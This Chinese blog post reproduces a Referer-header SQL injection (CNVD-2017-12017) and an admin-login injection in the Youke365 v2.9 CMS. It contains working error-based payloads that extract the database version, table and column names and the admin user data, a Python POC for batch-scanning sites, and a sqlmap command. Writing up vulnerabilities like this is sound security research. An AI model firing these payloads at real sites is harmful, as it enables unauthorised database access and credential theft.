payload sql注入_优客365_v2.9 SQL注入漏洞复现(附POC)

本文详细介绍了优客365 v2.9版本中存在的一种HTTP_REFERER引发的SQL注入漏洞,分析了源码中未过滤HTTP_REFERER字段导致的安全风险,并通过报错注入方法(如floor、extractvalue、updatexml)展示了如何探测数据库敏感信息。同时,提供了POC实现及后台SQL注入的源码分析与复现步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

面由心生,相随貌转。

俗话说得好

2d91ac74e05e76a63544462b49cd672f.png

HTTP_REFERER 注入

3a446e2fc4cbf9ec3dbf7a4369a95f2e.png

1、漏洞编号

CNVD-2017-12017

3a446e2fc4cbf9ec3dbf7a4369a95f2e.png

2、漏洞介绍

优客365是一个基于 PHP+MYSQL 开发构建的开源网站分类目录管理系统,在 2.9 版本的首页 index.php 存在基于 HTTP-REFERER 字段的 SQL 注入漏洞,攻击者可利用该漏洞执行任意 SQL 语句,获得数据库敏感信息。

3a446e2fc4cbf9ec3dbf7a4369a95f2e.png

3、源码分析

index.php 文件中,获取 HTTP 请求报文的 referer 字段(如果有),且没有过滤就拼接在 SQL 语句中。

a9675846473a32613c7045e6259ca07d.png

3a446e2fc4cbf9ec3dbf7a4369a95f2e.png

4、漏洞利用

单引号报错

http://abc.com'

0da81190c3a26f4e86288666c3bb8878.png

根据报错信息可以之后后端 SQL 语句的代码逻辑,和数据库类型。

这里使用报错注入的方式探测数据库的敏感信息。基于 MySQL 的报错注入有三种方式 floor/extractvalue/updatexml 。

① floor 注入

select 1 from(select count(*),concat((version()),floor(rand(0)*2))x from information_schema.tables group by x)a

② extractvalue 注入

extractvalue(1,concat(0x7e,(version()),0x7e))

③ updatexml 注入

updatexml(1,concat(0x7e,(version()),0x7e),1)

需要注意的是 MySQL_v5.0.96 版本的还有 floor 报错注入,高版本的没有;MySQL 5.1.5 版本中添加了对 XML 文档进行查询和修改的两个函数:extractvalue/updatexml 。

1、查看数据库版本

http://abc.com' or updatexml(1,concat(0x7e,version(),0x7e),1) or '

9ebff81204b947acb674337940ef1cf8.png

2、查看当前使用的数据库

http://abc.com' or updatexml(1,concat(0x7e,database(),0x7e),1) or '

45883e9699805da67c250e754a099df6.png

3、查看当前数据库下的表

http://abc.com' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="youke365" limit 0,1),0x7e),1) or '

d8693dc83334b7db497759c889a88475.png

4、查看数据表下的字段名

http://abc.com' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema="youke365" and table_name="users" limit 0,1),0x7e),1) or '

4d8dc3291d219576d2b25259f28f6b6e.png

5、查看数据库的管理员账密

http://abc.com' or updatexml(1,concat(0x7e,(select user_type from youke365.users limit 0,1),0x7e),1) or '

1d64eb75e3079ce2f610af67c2a27bd6.png

3a446e2fc4cbf9ec3dbf7a4369a95f2e.png

5、Poc实现

知道了 payload ,接下来就可以写个 POC 来批量检测有存在漏洞的网站了。

这里有个小问题要注意,就是在 index.php 源码中,下面通过 $domain = $matches[2]; 来获取 URL 的主域名部分。

995c879dcd927c349bb626fa85282c07.png

这里使用 python 的 urllib.parse 模块来分割 URL 的主域名部分。

import urllib.parseurl = "http://www.baidu.com/abc/def"proto, rest = urllib.parse.splittype(url) #分割出协议和剩余部分print(proto, rest)res, rest = urllib.parse.splithost(rest) #分割出主域名和其他目录print(res, rest)
C:\Users\Lin\Desktop>python3 test.pyhttp //www.baidu.com/abc/defwww.baidu.com /abc/def

POC:

import urllib.parseimport requestsclass Pocscan(object):    def __init__(self, target):        self.result = {            "ctype": "sqli",            "status": False,            "info": "",            "target": target,            "payload": "yk365_referer_sqli.py",        }    def verify(self):        proto, rest = urllib.parse.splittype(            self.result["target"])  # 分割出协议与剩余部分        res, rest = urllib.parse.splithost(rest)  # 分割出主域名和子目录        header = {            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0",            "Referer": proto + "://" + res + "' or updatexml(2,concat(0x7e,(version()),0x7e),0) or '",        }        target = self.result["target"]        vul_url = target + '/index.php'        try:            req = requests.get(url=vul_url, headers=header)            text = req.text            if r'XPATH syntax error' in text:                self.result['status'] = True                self.result["info"] = 'This system is vulnable!'        except Exception as e:            self.result["info"] = e        return self.resultdef main():    url = "http://192.168.43.7/vuln/yk365_down"    poc = Pocscan(url)    result = poc.verify()    print(result)if __name__ == '__main__':    main()
C:\Users\Lin\Desktop>python3 test.py{'payload': 'yk365_referer_sqli.py', 'ctype': 'sqli', 'status': True, 'info': 'This system is vulnable!', 'target': 'http://192.168.43.7/vuln/yk365_down'}

后台 SQL 注入

3a446e2fc4cbf9ec3dbf7a4369a95f2e.png

1、源码分析

后台注入的页面在 system/login.php,经过跟踪后发现产生漏洞的代码出现在 module/login.php。

742f1f353c28bb90cec8b56fb3e957c1.png

trim函数是取出字符串左右的空白字符。没有对用户提交参数做关键字的过滤就进行参数拼接。

3a446e2fc4cbf9ec3dbf7a4369a95f2e.png

2、漏洞复现

单引号报错。

01b6b4610c76597bd7b2c08fe68cf1c5.png

floor报错注入

eb8c759eba0e5a3d408d945055776404.png

上sqlmap,将登录页面的请求包数据保存在 post.txt 文件。

python3 sqlmap.py -r post.txt

6446f9be1c5313135286c6e2c9c0c9cc.png

尾声

我是匠心,一个在清流旁默默磨剑的匠人,期待那一天能利刃出鞘,仗剑走江湖。

078b6b0cc8ce84160959e20e381ad57e.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值